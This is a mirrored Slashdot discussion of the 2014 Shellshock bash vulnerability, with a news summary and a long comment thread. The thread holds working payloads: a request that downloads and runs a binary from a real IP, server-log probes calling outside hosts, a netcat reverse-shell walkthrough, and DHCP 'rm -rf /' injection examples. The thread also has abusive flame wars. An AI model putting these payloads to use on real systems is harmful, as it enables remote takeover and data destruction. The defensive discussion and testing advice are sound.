Slashdot Mirror
Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild
The recently disclosed bug in bash was bad enough as a theoretical exploit; now, reports Ars Technica, it could already be being used to launch real attacks. In a blog post yesterday, Robert Graham of Errata Security noted that someone is already using a massive Internet scan to locate vulnerable servers for attack. In a brief scan, he found over 3,000 servers that were vulnerable "just on port 80"—the Internet Protocol port used for normal Web Hypertext Transfer Protocol (HTTP) requests. And his scan broke after a short period, meaning that there could be vast numbers of other servers vulnerable. A Google search by Ars using advanced search parameters yielded over two billion web pages that at least partially fit the profile for the Shellshock exploit.
More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack, according to a new US CERT National Vulnerability Database entry." And CNET is not the only one to say that Shellshock, which can affect Macs running OS X as well as Linux and Unix systems, could be worse than Heartbleed.
You mean "worse than a vulnerability that doesn't seem to have been exploited on any significant scale"?
The vuln test shows 3.01 has the weakness too.
dash, Busybox ash and ksh93, afaict, do not.
What you hear in the ear, preach from the rooftop Matthew 10.27b
I've already seen a few of these scans so far today.
To be fair, anyone using bash as the cgi handler for anything remotely serious was already doing it wrong. Bash by it's nature is a facility trying to let the presumably authenticated user of it to do whatever they want, even if it looks somewhat weird. Yes this bug warrants fixing, but putting bash or similar in a path where untrusted environment variables and/or argv is present is a very dubious design decision. Besides, fork and exec for every request is a huge no no, and that's the only way to fly with bash.
Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...
XML is like violence. If it doesn't solve the problem, use more.
Bugs used to just be bugs, now we give them names like virii and terrorist cells
quit with the sensationalism already we don't *NEED* everything to have a dramatic (and frankly stupid) name
I'm not sure if we should be blaming anyone too much, but yes, if someone has the skill to dig it up, I would also be interested to see the precise commit which introduced the bug.
Put out a bash that disables importing shell functions from the environment altogether, and then fix whatever breaks. It seems too dangerous to try and make a patch that doesn't break existing programs using what is surely a little used feature over the security of servers and clients all over the world.
I'm not really understanding why this is a flaw at the moment.
Does anyone have a good explanation or a link to a good explanation?
SJW n. One who posts facts.
but IS it?
The OpenSSL Vahalla Rampage seems to have petered out. Last post was "2 weeks ago." Guess they fixed everything.
am I safe?
My server doesn't do anything other than web serving via apache/mysql/php, and everything else is locked down.
and play so that these sorts of things could never possibly happen.
More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack,
Not so. The initial fix is not vulnerable to this attack.
Looking at security discussions in terms of OS is really, really dumb. Windows wasnt vulnerable to heartbleed or this, but not because its Windows. Linux isnt affected because of the kernel. As has been the case for a very long time, actual OS flaws are exceedingly rare.
Anyone who uses this as an opportunity to post a screed about how Linux is better or worse than Windows is showing their ignorance by boiling down complex security considerations into black and whites.
We almost got through this without the media making up a cute name for it! Thanks for saving us, media! Assholes.
That ultimately the BASH vulnerability would be used to blame Apple for bad security.
Of course news about a fake are Fake News.
on the wrong site.
gb2/whereever you came from.
Port 80 is a TCP port, not an "Internet Protocol" port. Get it right...
And every time I boot my Windows 7 VM the OS is complaining that it needs to be updated, third party programs are complaining they need to be updated. Hell, my pet Botnets are complaining they need to be updated.
Welcome to our world.
Faster! Faster! Faster would be better!
There is evidence that this is being exploited in the wild.
Nginx and Apache servers using mod_cgi are two potentially vulnerable services.
The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.
An example attack:
GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
Over at the Internet Storm Center http://isc.sans.org/ they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.
Average Intelligence is a Scary Thing
If you're running Apache on Linux/UNIX, and don't absolutely need CGI, turn it off now.
Put a "#" in front of /etc/httpd/conf/httpd.conf. This will totally disable all CGI scripts. That's a good thing. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.
LoadModule cgi_module modules/mod_cgi.so
in
Note that this will break CPanel, but not non-CGI admin tools such as Webmin.
People are out there probing. This is from an Apache server log today from a dedicated server I run.
89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping
-c 1 198.101.206.138"
The bug is 25 years old at least. Pre-dates the existence of GIT and most other source code control software in use today. I have no idea what SCC would've been used 25 years ago. To give perspective -- this bug predates the WWW by at least a year.
A remote attacker can write a SHELL CODE in the user-agent, if your server is running Apache or NGinx,
that CGI variable will end up in the SHELL and once Apache fork the server for CGI code: PHP, Perl, Python, Ruby, whatever,
bingo they pwn your server.
Even if your target PHP script is empty.
http://packetstormsecurity.com/files/128394/bash-poc.txt
If you type: /bin/sh --version
and it says BASH, you are screwed.
Also check /etc/passwd to see if your default shell is /bin/bash
MacOS X, RedHat and CentOS are affected
http://serverfault.com/questions/631055/how-do-i-patch-rhel-4-for-the-bash-vulnerabilities-in-cve-2014-6271-and-cve-2014/
Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate.
Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.
Status: Testing underway. Our initial scans and appraisals are that our public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems.
What is it? A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.
How does it work? Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - think of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough.
How bad could it be? Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable.
What is the primary risk? There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine.
How easy is it to detect the vulnerability? Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.
What are we doing? Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if t
I'm here EdgeKeep Inc.
No.
On Linux we have bugs.
On Windows you still have rampant malware that's taking your data hostage.
Despite Lemming attempts to conflate every software bug with a Windows virus that does actual damage, it simply isn't so.
The strong technical merits are still there. Windows is still a festering cesspit. Legacy apps remain the only real reason to run WinDOS.
A Pirate and a Puritan look the same on a balance sheet.
This bug effects windows as well,
$ uname -a
CYGWIN_NT-6.1 XXXXXXXXXX 1.7.30(0.272/5/3) 2014-05-23 10:36 x86_64 Cygwin
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
That is only if you explicitly want to install Bash. Windows installations typically use PowerShell.
Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack. This isn't an "open source" vs. "closed source" thing. This is a "We'll just trust data received from untrusted sources!" thing.
If your web/dhcp/print/etc. server is *accepting environment variables from random strangers* and then *executing a full-bore shell program* using those environment variables then guess what: You're freakin' server was already vulnerable and this Bash bug is just exposing the vulnerability, not causing it!!
Seriously, if Windows had a design like this then we'd be hearing the old "insecure by design!" schtick, and I'm not going to hold Linux to a lesser standard.
AntiFA: An abbreviation for Anti First Amendment.
Posting anonymous because I modded you -
Under "How bad could it be" - change Linus to Linux
Under "How does it work" - might want to modify the sentence "Within the last several days, security researchers discovered a serious vulnerability is present in bash shell. This vulnerability has existed for quite some time however it was only brought to light very recently" (or something close to this?)
SystemD next!
FastCGI implementations are supposed to execute the specified executable without any parameters from the HTTP request. The FCGI program then reads and processes multiple HTTP requests, with no shell involvement. Unless the program invoked by FCGI itself invokes the shell (which PHP scripts can do), there should be no problem. I'm not a PHP user; someone with PHP internals expertise needs to look at that world for vunerabilities. Can arguments from the HTTP request make it into the environment of subshells invoked by PHP?
I see. So you're proposing Project Disnamify, whereby we set out to remove the name from bugs. Unfortunately, I've also got a guy here who wants to go ahead with Operation HashNick, where bugs' names are hashed into strings of hex digits, so that people can talk about the bug using a common symbol, without other people necessarily being given insight in to how to exploit it. (There's also the Bug Tracker URL Principle, where they should all just have URIs of whoever's chosing, but that seems to be falling out of style, sort of like the Bugzilla ID Folly has.)
My problem with both of you people's proposals, is that it doesn't fit my Titanium Falcon Agenda, where I think each bug needs to sound as cool (and vaguely threatening) as possible, to both raise awareness and also to get good movie names, in case someone decides to make a movie out of the bug. Remember how lame "2012" was? AFAIK "Y2K" was so lame they didn't even make a movie (but at least a decent Family Guy episode). "Heartbleed" was new chapter, a rennaissance where the likes "Richard Kiel Memorial ABEND" and "Guru Meditation" are rediscovered.
So, you go and fix your little bug, but I for one, would like my Bashjector Brainfuck fixed instead.
For web servers that allow cgi scripting, yeah I see that it could be bad. I also noted the dhclient-script problem on Linux clients. However, I don't see this as being a major exploit for Macs (which run Web servers very rarely) & do not use the same dhcp-client mechanism as Linux & don't seem to be vulnerable.
If it's not remotely exploitable on OSX, even if the bug is present in the system bash, it's not as critical as some are trying to make it look.
Please correct me if I'm wrong with a remote exploit that works on Macs.
Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
RCS and SCCS where all the rave back then.
RCS came out in '82. I remember using SCCS on Unix System III in the mid 80s, and it dates back to 1972 or so. Bash came out around '89, and so it could have been managed with either SCCS or more likely at that point with RCS, although it's also possible that no revision control system was used before the original release. In those days revision control wasn't universally used. Even as late as the early 00's I was training engineers coming out of master's degree IT programs who had no idea how to use a revision control system.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
WUT?
Because many web servers use system command interpreters to fulfill user requests,
I did this a few decades ago. When I started messing around with the NCSA httpd server. Within a few months, I cleaned up all the CGI shell access calls, filtering the incoming parameters for just this reason.
system modification.
Only if you let your web server run itself and launch processes with permissions that can change system settings. Almost everything I write runs as a 'guest' user/group on my systems and can't mess with anything beyond that user's data. The scripts and executables themselves are owned by a web-admin user with restrictive write permissions. So 'guest' can't alter them either.
All these practices date back to the '90's when I taught myself most of this fancy web stuff. And real UNIX admins laughed our asses off at anyone who needed a web based (or any GUI) system administration interface.
Have gnu, will travel.
I can not count the number of Windows IIS web servers that have cygwin installed. It is far more common than you may think.
Yes, on Linux you have bugs that allow anyone with even basic technical skills to remotely exploit your servers. And you're bragging about this, asshole?
Windows exploits are of the "Hey, idiot, run this thing!" nature, and of course many idiots run it. If you are halfway intelligent it's easy to run a secure Windows machine.
Linux exploits, especially this ridiculous mack-truck sized one, are of the "Fuck you, I own your machine asshole" variety. They are drinking your milkshake, and you're still waxing clueless about how bad Windows is when it is superior in just about every technical dimension _other_ than the fact that 70% of its users are complete idiots, compared to only about 40% on Linux.
The fact is that this "bug" shows what assholes you neckbeards are. It's an enormous bug that will plague you for months and years, all the while you bloviate to anyone who will listen how secure Linux is.
Good luck, douchebag. This couldn't have happened to a happier bunch of fuck-knuckles, frankly.
Hey, I'm not saying the practices that make people vulnerable are wise - just that they exist and that unless positive steps are taken to test and, where necessary, fix, systems will be vulnerable. After all, we are seeing reports of the vulnerability being exploited in the wild, so we know there are affected systems out there. If we've done our jobs right, they won't be ours - but we cannot just hope that we've done our jobs right - and we do need to advise management that a) we're aware of the issue, b) we did our jobs right, and c) we're double checking, just to be safe.
I'm here EdgeKeep Inc.
It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them
FUD much ? did you miss the part where it would need to have bash installed ? it doesn't come with Android or iOS by default and only a very limited set of people would install bash on these.
On Windows you still have rampant malware that's taking your data hostage.
No, you don't. Unless you deliberately install shady software, these days the risk of getting malware to your Windows box is very low.
Only if you're the neckbeard guy who installs cygwin on windows, and the _especially_ neckbearded idiot who uses it to run some sort of CGI or other remotely accessible service versus just for a (primitive) interactive shell.
So I'm sure both of the guys doing that are really shitting their pants now, lolzers.
I'm thinking about phones & tablets and other devices that haven't been rooted, or got a new update that the old root methods don't work.
Can this be used to get root on systems?
Be seeing you...
LOL. What a freetard. Did you study NT at all?
Look at it this way:
Do you have full source to everything you run? No? Do you know whether any of them, ever, down any code path, call system() to run something? I bet some of them do. Now, could they ever do it in an environment where at least one variable has a value acquired from an external source?
If so, that's an exploit-in-waiting.
Keep in mind that "I don't call system, I use fork and exec" doesn't mean that the thing you exec doesn't perhaps call system(), or use the shell to execute some command. Or invokes something which is actually implemented as a shell script.
It's not just external exploits of servers; it's external exploits of clients which can ever run something with environment variables obtained from the environment.
My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
These days, Windows is the faster, more stable, and more secure choice.
Yes, Windows 8 has definitely demonstrated awesome superiority and everyone loves it.
In those days [late 80s/early 90s] revision control wasn't universally used. Even as late as the early 00's I was training engineers coming out of master's degree IT programs who had no idea how to use a revision control system.
Linus didn't use a revision control system for the Linux kernel until 2002.
(Aw... comparisons between CVS and the "soon to be finished" Subversion. How quaint.)
Here's a fun little test. This is assuming both the attacker and target have netcat installed. On a machine with the vulnerable bash and apache-cgi (behind a firewall for god's sake!) drop a file in your cgi-bin directory:
You should be able to go to
and get a listing of apache's cgi directory.
Now, from your attack machine run "nc -l -p 1234", and then (in another terminal) run "curl -A "() { :;}; /bin/nc attack.machine.ip.address 1234 -c /bin/bash". You now have a shell via netcat.
(from attacking machine netcat)
(on target)
Just out of curiosity, what's the shell behind Android? if it's BASH then there could be a *LOT* more exploitable devices out there than people might think.
Yeah, but that's not a remote exploit.
However, Ars was a little more informative: CUPS is apparently vulnerable and gives a remote exploit on OSX too...
Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
Am I the only person who just assumed Bash was for users? Why would you let anybody run bash?
Why in the world would people thoughtlessly run any command under CGI? I didn't know about this bash feature but I never imagined placing a shell into CGI... it feels like giving the public a shell account. shells are user interfaces not servers. This feature is probably useful for users and they won't be able to easily disable it-- a bunch of specific case patches means it'll probably pop up in other misuses of bash.
I bet this has been used for decades by hackers for defacing websites, since the cgi-bin user often has write access to the html.
If you properly locked down cgi-bin just how much harm could they do in jail? (not that we should just jail shells and let people have at it, but the purpose for jailing your cgi-bin is to minimize damage.)
DHCP is interesting and new; I didn't know that the DHCP server could get my system to run bash commands... I guess I have to figure out what user the DHCP client runs under...
Democracy Now! - uncensored, anti-establishment news
I have it on good authority that Switchport Networks Corporation out of Wyoming has quietly been working on a Bash Script that assumes that the the system has been already hacked into thus their clientele were not affected. If all systems could simply assume that the hacker has already gained access then preventing such intrusions would be a lot easier and not affect as many people.
...all the way down.
"Heartbleed has already been confirmed at the initial attack vector for the breach of a large healthcare system that stole 4.5M patient identities. Given the difficulty tracing Heartbleed attacks, it's likely other systems were compromised in the same way."
Do you have a link to this confirmed Heartbleed Healthcare breach?
"There is evidence that this is being exploited in the wild."
Can we see this 'evidence'?
Freetard? Fuck off back to The Register you ginger cunt
And don't forget about mod_cgid (this isn't a typo) -- situation also applies there.
And if Apache users need CGI, they should also be reviewing their Options directives to see where ExecCGI is set (or possibly "All"), and then reviewing all the scripts/binaries relevant to their clauses or whatever else (I'm speaking vaguely because how people do/accomplish all this in Apache varies per config).
If any of the CGIs rely on any HTTP header information passed in from the client, and somehow use that information alongside a fork/exec to /bin/sh (or bash -- may be the same on some systems but not on others), or use system() (ugh), or things like backticks in perl or whatever other means in other languages, then you're at risk. If you have compiled binaries for CGIs, then you'd better hope you have source code to look at, otherwise you might have to end up strace/truss/ktrace'ing it all to figure out what's going on under the hood.
Except in your desperate attempt to seem knowledgeable you choose to gloss over some actual facts - not least the actual reality of the situation with regard boxes and their users.
The answer is move to Windows server cos you're quite good at Windows 7, apparently.
http://i5.minus.com/jx1cmyfZvN...
http://chimpbox.us
While you don't need to pass arguments, you still need to set environment variables based on user input.
Whoever thought it was a good idea to allow an HTTP request to set environment variables within the HTTP server to arbitrary values wasn't thinking about security.
The user input is in the form of specially-crafted HTTP headers in the HTTP request that cause environment variables to be set on the server.
Just saw this in the server logs on one of our servers:
/cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 392 "-" "() { :; }; /usr/bin/wget 82.165.144.187/bbbbbbbbbbbb"
// 82.165.144.187/bbbbbbbbbbbb to confirm the system is vulnerable).
82.165.144.187 - - [25/Sep/2014:18:55:59 +0200] "GET
An attempt at exploiting the vulnerability (trying to wget h t t p :
At least I'm safe with all my servers on C Shell. Thank you Bill Joy!
On Linux we have bugs.
Yes some quite serious and critical security ones, and Windows and OSX have those too, I'm not sure why you're trying to separate things to make one OS look better than the others.
On Windows you still have rampant malware that's taking your data hostage.
That's on any system, Windows is a larger target and thus malware is written for it. Linux and OSX are not inherently more secure in this respect, they are more secure by their obscurity and nothing more. If the user heeds to a request to install software and run as root then the operating system does not matter.
Despite Lemming attempts to conflate every software bug with a Windows virus that does actual damage, it simply isn't so.
And then there's lemmings like you that parrot the idiocy of security through obscurity and dismiss critical security defects as "it's just a bug that doesn't to real damage". You show a lack of intelligence or intentional malice.
The strong technical merits are still there. Windows is still a festering cesspit. Legacy apps remain the only real reason to run WinDOS.
The technical merits of an operating system don't mean anything because nobody cares about the operating system except geeks, people want to do things with their computers which means that how good an operating system is depends on whether it can accomplish that user's tasks i.e. run their applications. On the desktop from this perspective Windows and OSX are very good and Linux distros are very poor. You can spin it all you want and parade "technical merit" but to the vast majority of people wanting a desktop computer - those that aren't just sending email and browsing the web - Linux is terrible. Of course on a server it is brilliant, however bugs like this bash vulnerability (and who knows how many more exist and are being exploited, yes the sam applies to Windows and OSX too) bring the security aspect into question, though I'm sure you'll try and sweep that one under the rug too.
Yes, Windows 8 has definitely demonstrated awesome superiority and everyone loves it.
Well frankly it has a lot more marketshare than Linux, so people certainly prefer it.
However, I don't see this as being a major exploit for Macs (which run Web servers very rarely)
But they do. And worse, they're usually MAMP, which rarely gets updated, and there's a culture of not updating with both Apple and its userbase. I'd be surprised if Apple has a fix for this yet, and they won't provide one for older machines. Not that the users will want to update anyway...
[T]he initial fix for the issue still left Bash vulnerable to attack
Please excuse me if I'm being a noob but, as recommended by this link, I tried the following commands on an up-to-date Debian Wheezy install:
So isn't the solution just an 'apt-get upgrade' away?
And FWIW:
[T]he initial fix for the issue still left Bash vulnerable to attack
Please excuse me if I'm being a noob but, as recommended by this link, I tried the following commands on an up-to-date Debian Wheezy install:
So isn't the solution just an 'apt-get upgrade' away?
And FWIW:
FYI, I accidentally posted this AC at first so am re-posting, hope nobody minds...
I updated two of my systems, and yes, I ran the test. I don't know about the unstable version.
Apparently it also concatenates the -c argument and parses the whole thing at once. Unbelievable.
This is the still-existing exploit. Try this in the patched version (or the one for that matter):
env X='() { (a)=>\' bash -c "file echo vulnerable; cat file"
My guess is because it pasted the -c onto the end of the command with a newline. The >\ somehow caused a > sign and an escaped newline to be parsed, resulting in the command ">file echo vulnerable" to be executed.
This looks a lot harder to exploit as there is less control over the -c argument, and it has to be the last environment variable.
If shellshock lets remote users execute arbitrary shell commands, should we just run a scan of the whole internet (https://github.com/robertdavidgraham/masscan), and issue apt-get update & apt-get upgrade? Use the bug to patch the bug?
At least for RedHat/CentOS, CVE-2014-7169 has been patched now as well. https://rhn.redhat.com/errata/...
"So I'm sure both of the guys doing that are really shitting their pants now, lolzers." i bet they've been shitting themselves since they've been running windows. only now just a little more than normal
"The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
Nah, funny thing is you neckbeards don't really know how well the Windows Server/IIS/MS SQL holy trinity works. It works very, very well.
For all those people saying system() and popen() calls are a problem the truth is they use /bin/sh -c and even when this is a symlink to bash, it operates in compatibility mode and does NOT import function definitions. Still it's pretty close.
Name three things wrong specifically with Windows 8 (8.1 now) which aren't about the GUI. If you can't manage that, include problems that aren't fixed with the installation of a free Start menu replacement
No. In recent versions of IOS, Macs do not run local web servers. People have to add in a web server by themselves & very few do so. In your little corner of the world (assuming you do web development or some such), people may add a web server (through macPorts or the Server Application) but there is no web server in a normal recent OSX installation. Yeah, there is the niche of MacMinis that people use as servers where this is not true, but they are the tiny minority. Most Macs sold today are either Airs or MacBooks & very few people want to have a local web server or "other advanced unix services"* on them.
As for your comment on their being "rarely updated", that's rich given the antiquated, nay archaic RHEL servers often I see in datacenters on things like Cisco VOIP gear.
The people geeky enough to be aware of the attack so far are also probably aware of how to update bash all by themselves. Everyone else will be able to get the update shortly when Apple publishes a fix.
* As labeled by an Apple spokesperson.
Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
I'm not the original poster, but my idea goes like this:
- very often, when a laptop gets an IP from DHCP, it will launch a collection of helper scripts (that will in turn set-up lots of other thing. Random example: firewalling rules for the new interface)
- check which fields emitted by a DHCP server will end up in an environment variable during the call of these helper scripts.
Very obvisouly, the IP address will be in an environment variable, but that's not going to work because you can't put arbitrary data in there.
What else? Assigned network name? Some other data field?
Some of these data could have arbitrary form. /".
So you set it to "(){:;};rm -rf
Even before the helper script has had time to receive the data and do the necessary sanity check on it, bash will interpret the whole content (because it begins with () ) including the rm.
Any piece of software that:
- at some point of time runs helper shell scripts
- can receive arbitrary data that is placed in ENV variable while calling the scripts
is at risk.
Because BASH itself forgot to do its own input sanitation. (it should only load the function definition. It should not blindy eval any ENV variable beginin with (), it should only interpret the curly craces right after the () and stop once the body of the function is finished. Not call anything else).
That a REALLY nasty exploit.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
My work Unbuntu laptop to BASH IV this morning. I'll do my personal Ubuntu box later tonight,.
Not all of us love Win 8 - 8.1 and 9 will be better. In fact I'm moving away from Windows in general. For example, how long does it take Microsoft to patch a major vulnerability? In the linux world it took a day.
user@host:~$ env X='() { (a)=>\' bash -c "file echo vulnerable; cat file"
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
echo: ERROR: cannot open `echo' (No such file or directory)
vulnerable: ERROR: cannot open `vulnerable' (No such file or directory)
cat: file: No such file or directory
well it's quite obvious your not sure how they work either. if you read this site then you ARE apart of the neck beard community.
It is my understanding this is a feature of BASH and simply patching it would break scripts that use the feature. not an easy fix.
I still do perl. for as long as I can remember, perl people have heavily been pushing for proper use of system() which supports (in perl) a safe way to use it by giving it a list of arguments instead of a single string argument. Not that this method completely protects you this bash injection attack. I admit that these days I use the default shell when I do call a shell and in the past I picked a specific shell (not bash) just because I didn't want to load a huge shell like bash just to run 1 command.
We don't put SQL commands directly into CGI or DHCP with some unauthenticated shell program to interpret them! You wrap and protect the SQL, as you should always do with the shell or anything even remotely similar! This seems basic... although I didn't know about this uncommon bash-specific injection method-- but the other shells have well known injection attacks as well which are well known and avoided (or they should be... but probably also common just like SQL which is why people seem to easily hack any webserver.)
My guess is bash will add or ALREADY has a flag related to this feature which will have to be used; the default will likely change to having the feature off.
My DHCP doesn't run as root but I read that linux does! luckily any linux I touch has a static IP (so now the question is will it respond to DHCP even if it doesn't need it... because some have the DHCP client running even though a static IP has been set...)
Democracy Now! - uncensored, anti-establishment news
No. In recent versions of IOS, Macs do not run local web servers.
Sure they do.
People have to add in a web server by themselves
Oh, you mean by default. Sure, it doesn't run by default, but see below. Now, these 3rd party web servers that people install. Let me guess what one of the most popular might be (due to ease of install). MAMP? They'd be better off using the httpd provided in the OS from Apple since that *might* get updated by Apple (but people tend to ignore running updates).
& very few do so.
I think you'd be surprised.
(assuming you do web development or some such)
Not since 1995, and if I did I wouldn't do it on OSX. *shiver*
there is no web server in a normal recent OSX installation.
I think you might be wrong. I'm looking at a Mavericks install in front of me. Only thing installed other than the base OS is ARD. /usr/sbin/httpd is there, and when run it attaches to port 80.
check which fields emitted by a DHCP server will end up in an environment variable during the call of these helper scripts.
Found elsewhere:
NetworkManager, when calling dhcp trigger scripts fills these two variable:
DHCP4_FILENAME and DHCP4_DOMAIN_NAME
based on data received by the DHCP ACK.
So if a sever sets the domain name as "(){:;};rm -rf /", the laptop will be fried before even the script has a chance to check if that's actually a valid domain name.
(That's a bit like if an SQL injection could fry a server, because the php5 interpreter itself gets hijacked by it, before the php page had time to check and sanitize the inputs)
Though in the DHCP case, the DHCP client it self could do some preliminary input sanitization before handling the data out.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
bsd is unix.
bsd is not vulnerable.
there is no web server in a normal recent OSX installation.
I think you might be wrong. I'm looking at a Mavericks install in front of me. Only thing installed other than the base OS is ARD. /usr/sbin/httpd is there, and when run it attaches to port 80.
Delivering the binary on a default OSX installation doesn't make shellshock exploitable on OSX systems, it needs to be running, which it isn't on the vast majority of OSX systems. I've bolded the part of your own post where you admit that this isn't the case. Yeah, I had a brain fart and forgot to type "running" in "there is no web server", it doesn't change my point: No running web server on the vast majority of OSX devices means that shellshock isn't as severe for Macs as some have been saying.
Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue